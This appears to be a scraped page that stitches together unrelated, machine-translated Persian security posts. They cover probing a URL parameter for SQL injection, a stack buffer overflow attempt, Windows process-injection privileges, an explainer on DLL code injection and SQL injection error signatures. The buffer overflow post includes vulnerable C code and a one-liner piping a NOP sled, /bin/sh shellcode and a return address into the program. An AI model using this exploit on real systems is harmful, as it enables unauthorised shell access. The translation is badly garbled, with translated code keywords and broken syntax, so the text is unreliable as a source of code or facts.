java – آیا این پارامتر به تزریق SQL آسیب پذیر است؟

سرور پشت صحنه Tomcat 8.5 (جاوا اسکریپت) را اجرا می کند. نشانی اینترنتی مورد نظر:

 https://website.com/application/servlet.do؟currentOID=abc12300000000

متوجه شدم وقتی که من یک OID ناقص (یعنی 1 کاراکتر را حذف کنم)، یا یک کاراکتر (یعنی a یا ') را اضافه می کنم، سرور یک خطا می کند:

 org.apache.ojb.broker.PersistenceBrokerSQLException: شکست SQL در حالی که درج اطلاعات شیء برای کلاس com.abc، PK از شی داده شده است [ oid=CBA000000AAAAA]، شی GroupPageTab CBA000000AAAAA، پیام استثنایی [String or binary data would be truncated.]
    در org.apache.ojb.broker.accesslayer.JdbcAccessImpl.executeInsert (JdbcAccessImpl.java: 243)
    در org.apache.ojb.broker.core.PersistenceBrokerImpl.storeToDb (PersistenceBrokerImpl.java: 1642)
    در org.apache.ojb.broker.core.PersistenceBrokerImpl.store (PersistenceBrokerImpl.java: 1557)
    در org.apache.ojb.broker.core.PersistenceBrokerImpl.store (PersistenceBrokerImpl.java: 1506)
    ...

و OID CBA000000AAAAA تغییر می کند زمانی که currentOID تغییر می کند. آیا این به نظر می رسد که ممکن است به تزریق آسیب پذیر باشد؟ من در JDBC کم تجربه هستم بنابراین مطمئن نیستم

سرریز بافر – قادر به اجرای shellcode تزریق نیست

 #include 

void secret ()
{
    printf ("تبریک!  n")؛
}

void echo ()
{
    array char [60]؛
    اسکن ("٪ s"، آرایه)؛
    printf ("شما وارد:٪ s  n"، آرایه)؛
}

int main ()
{
    echo ()؛
    بازگشت 0؛
}

بالا کدی است که من سعی می کنم از آن استفاده کنم.

آدرس آدرس ebp را با استفاده از gdb یافتم، اگر چه می دانم دشوار است که به مکان دقیق اشاره شود. من استفاده از روش NOP سورتمه

اندازه بافر اختصاص داده شده – 0x44 – 68bytes

کد پوسته – 25 بایت

python -c چاپ ' x90 "* 47 + x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x89 xe2 x53 x89 xe1 xb0 x0b xcd x80 "+" xa8 xbb xff xff "'| ./test

من سعی می کنم به جایی از وسط NOP sled بروید.

و دریافت تقصیر تقسیم نیست، اما من دسترسی به پوسته را دریافت نمی

امتیازات مورد نیاز برای انجام تزریق فرایند

من در مورد تکنیک های تزریق فرایند در ماشین های ویندوز (در اصل برای تحقیق در مورد افزایش امتیاز) آمده است. اگرچه من برای اکثر زندگی خود از ویندوز استفاده می کردم، احساس می کنم که من بهتر از طرح های مجوز لینوکس / مجوز ها را درک می کنم و از توضیح بعضی از روش های رایج، روشن می شود.

  1. Process hollowing – یک برنامه نیاز دارد شروع یک نمونه دیگر، نمونه های رایج explorer.exe یا svhosts.exe هستند که در زیر پوشه WINDOWS واقع شده اند
  2. DLL hijacking – فرآیند دیگری را بارگذاری کنید برخی از DLL یا آن را در یک فولدر بالا در مسیر جستجو بنویسید
  3. Others مشابه

این روش ها معمولا به فراخوانی API های سیستم و تخصیص و کپی کردن حافظه در مکان های استراتژیک بستگی دارد، اما به نظر نمی رسد که کاربر بتواند کاربر استاندارد امتیاز دهد (استاندارد privilege = مثال یک کاربر معمولی شرکتی است) یا می تواند آن را انجام دهد؟ منظورم این است که آیا او می تواند نقص طراحی در سیستم عامل باشد یا اینکه خیلی سخت تر از دستورالعمل های آن است؟

مرجع: ده روش تزریق فرایند: یک بررسی فنی تکنیک های تزریق فرآیند معمول و پرطرفدار، متن و نمودار ها نشان می دهد که یک فرآیند به راحتی می تواند حافظه فرآیند دیگری را دستکاری کند.

تزریق کد در ویندوز چیست؟

تزریق کد در ویندوز رایج است. برنامه های کاربردی "تزریق" قطعه کد خود را به فرایند دیگری در حال اجرا برای تغییر رفتار آن است. این تکنیک را می توان برای خوب یا بد استفاده کرد، اما هر دو راه می تواند باعث مشکلات شود.

تزریق کد نیز معمولا به عنوان تزریق DLL نامیده می شود، زیرا کد تزریق اغلب به صورت یک فایل DLL (library link library) است. با این حال، برنامه های کاربردی همچنین می توانند انواع دیگری از کد را که DLL ها را به یک فرایند نمی برند، تزریق کند.

کد تزریق کد برای 19659004 [Input] کد برای انجام انواع کلاهبرداری ها و قابلیت ها در ویندوز استفاده می شود. در حالی که برنامه های مشروع از آن استفاده می کنند، آن نیز توسط نرم افزارهای مخرب مورد استفاده قرار می گیرد. به عنوان مثال:

  • برنامه های آنتی ویروس اغلب کد را به مرورگرهای وب تزریق می کنند. آنها می توانند از آن برای نظارت بر ترافیک شبکه استفاده کنند و برای مثال محتوای وب خطرناک را مسدود کنند.
  • برنامه های مخرب ممکن است کد خود را به مرورگر وب خود اضافه کنند تا مرور شما را بهتر کنند، اطلاعات محافظت شده مانند رمزهای عبور و شماره کارت اعتباری را سرقت کنند و تنظیمات مرورگر خود را تغییر دهند
  • WindowBlinds استارداک که کدام تم مربوط به دسکتاپ شما است، کد را برای اصلاح چگونگی کپی پنجره ها تزریق می کند.
  • نرده های Stardock کد را وارد می کنند تا دسکتاپ ویندوز را تغییر دهند.
  • AutoHotkey، که به شما اجازه می دهد اسکریپت ها را ایجاد کنید و سیستم را اختصاص دهید
  • برخی از برنامه ها تزریق DLL ها را برای اضافه کردن گزینه های منو اضافی به یک برنامه می کنند.
  • برخی از برنامه ها تزریق DLL ها برای اضافه کردن گزینه های منو اضافی برای یک برنامه. ابزارهای تقلب در کامپیوتر اغلب کد را به بازی ها تزریق می کنند تا رفتارشان را تغییر دهند و مزایای ناعادلانه را نسبت به سایر بازیکنان بدست آورند.

آیا کد تزریق بد است؟

این روش استفاده می شود con به شدت با طیف گسترده ای از برنامه های کاربردی در ویندوز. این تنها راه واقعی برای انجام انواع وظایف است. در مقایسه با پلتفرم موبایل مدرن مانند iOS اپل یا آندروید گوگل، دسکتاپ ویندوز بسیار قدرتمند است، زیرا اگر این نوع انعطاف پذیری را برای توسعه دهندگان ارائه دهد، [1965،9002] البته، با تمام این قدرت، به خطر می افتد. تزریق کد می تواند مشکلات و اشکالات را در برنامه ها ایجاد کند. گوگل می گوید که کاربران ویندوز که کد را به مرورگر کروم خود تزریق کرده اند، 15 درصد بیشتر از سقوط Chrome برخوردار هستند، به همین دلیل است که گوگل در تلاش برای جلوگیری از آن است. مایکروسافت یادآور می شود که تزریق کد می تواند توسط برنامه های مخرب مورد استفاده قرار گیرد تا با تنظیمات مرورگر مورد استفاده قرار گیرد، که یکی از دلایل آن در حال حاضر در Edge مسدود شده است.

مایکروسافت حتی دستورالعمل هایی برای بررسی اینکه DLL های شخص ثالث در Microsoft Outlook بارگیری شده است، بسیاری از چشم انداز های خراب

به عنوان یک کارمند مایکروسافت آن را در یک وبلاگ توسعه دهنده از سال 2004 قرار داده است:

تزریق DLL هرگز امن نیست. شما در مورد کد squirting در یک فرآیند که هرگز توسط نویسنده فرآیند طراحی، ساخته یا آزمایش نشده است، و همکاری کردن یا ایجاد یک موضوع برای اجرای کد آن، صحبت نمی کنید. شما خطری برای ایجاد زمان بندی، هماهنگ سازی یا مسائل مربوط به منابع وجود دارد که پیش از آن وجود نداشت و یا مسائل مربوط به آن وجود نداشت.

به عبارت دیگر، تزریق کد نوع هک کثیف است. در یک جهان ایده آل، راهی امن برای انجام این کار وجود دارد که سبب بی ثباتی بالقوه نمی شود. با این حال، تزریق کد امروز بخش مهمی از پلت فرم نرم افزار ویندوز است. این به طور مداوم در پس زمینه در PC ویندوز شما اتفاق می افتد. شما ممکن است آن را یک شر ضروری نامید.

چگونه برای بررسی DLL های تزریقی

شما می توانید برای تزریق کد در سیستم خود را با نرم افزار قدرتمند برنامه پردازش مایکروسافت را بررسی کنید. این اساسا یک نسخه پیشرفته از Task Manager است که با ویژگی های اضافی بسته بندی شده است.

اگر می خواهید این کار را انجام دهید، فرآیند اکسپلورر را دانلود کرده و اجرا کنید. روی View> Panel View> DLLs کلیک کنید یا Ctrl + D را فشار دهید.

یک فرایند را در قسمت بالای صفحه انتخاب کرده و در پایین صفحه نگاه کنید تا DLL های بارگذاری شده را ببینید. ستون "Company Name" یک روش مفید برای فیلتر کردن این لیست را فراهم می کند.

به عنوان مثال، طبیعی است که انواع DLL های ساخته شده توسط Microsoft Corporation در اینجا، به عنوان آنها بخشی از ویندوز است. همچنین برای دیدن DLL هایی که توسط همان شرکت به عنوان فرآیند مورد نظر – "Google Inc." در مورد کروم در تصویر زیر دیده می شود، نیز طبیعی است.

ما همچنین می توانیم چندین DLL های ساخته شده توسط AVAST Software را در اینجا پیدا کنیم. این نشان می دهد که نرم افزار ضد ویروس آواست در سیستم ما کد تزریق مانند "کتابخانه فیلترینگ فیلتر کردن اسکریپت avast" را به کروم منتقل می کند.

اگر مقدار تزریق کد خود را در سیستم خود پیدا نکنید، از حذف برنامه کد تزریق برای جلوگیری از آن از ایجاد مشکلات. برای مثال، اگر Chrome به طور مرتب خراب شود، ممکن است بخواهید ببینید کدام کد برنامه کدگذاری را در Chrome نصب کرده و آنها را از بین ببرید تا از تغییرات فرآیندهای Chrome جلوگیری کنند.

کد تزریق کد

نرم افزار زمینه ای را بر روی دیسک خود تغییر دهید. در عوض، آن را برای اجرای برنامه منتظر می گذارد و کد اضافی را در فرآیند در حال اجرا برای تغییر نحوه عملکرد آن ها تزریق می کند.

ویندوز شامل انواع رابط برنامه نویسی کاربردی (API) می شود که می تواند برای تزریق کد استفاده شود. یک فرایند می تواند خود را به یک فرآیند هدف متصل کند، حافظه اختصاص دهد، یک DLL یا کد دیگر را به آن حافظه بنویسد، و سپس فرایند هدف برای اجرای کد را دستور دهد. ویندوز از فرایندهای موجود در رایانه خود جلوگیری می کند.

برای اطلاعات بیشتر فنی، این پست وبلاگ را توضیح می دهد که چگونه توسعه دهندگان می توانند DLL ها را تزریق کنند و این نگاه را به انواع دیگر تزریق کد در ویندوز. [19659002] در برخی موارد، کسی ممکن است کد اصلی را بر روی دیسک تغییر دهد، به عنوان مثال، با جایگزینی یک فایل DLL که همراه با یک بازی کامپیوتری با یک اصلاح شده برای مجاز کردن تقلب یا دزدی دریایی، جایگزین می شود. این به لحاظ فنی، "تزریق کد" نیست. کد به یک فرایند در حال اجرا تزریق نمی شود، بلکه این برنامه به محض بارگذاری یک DLL متفاوت با همان نام فریب می شود.

Image Credit: Lukatme / Shutterstock.com

خطاهای استاندارد تزریق SQL

اشتباهات تزریق استاندارد / شایع SQL چیست؟ من سعی می کنم یک اسکنر برای sql ایجاد کنم ولی نمی دانم برای چه باید در پاسخ پس از sql برای بررسی اینکه آیا این کار کار می کند نمی دانم.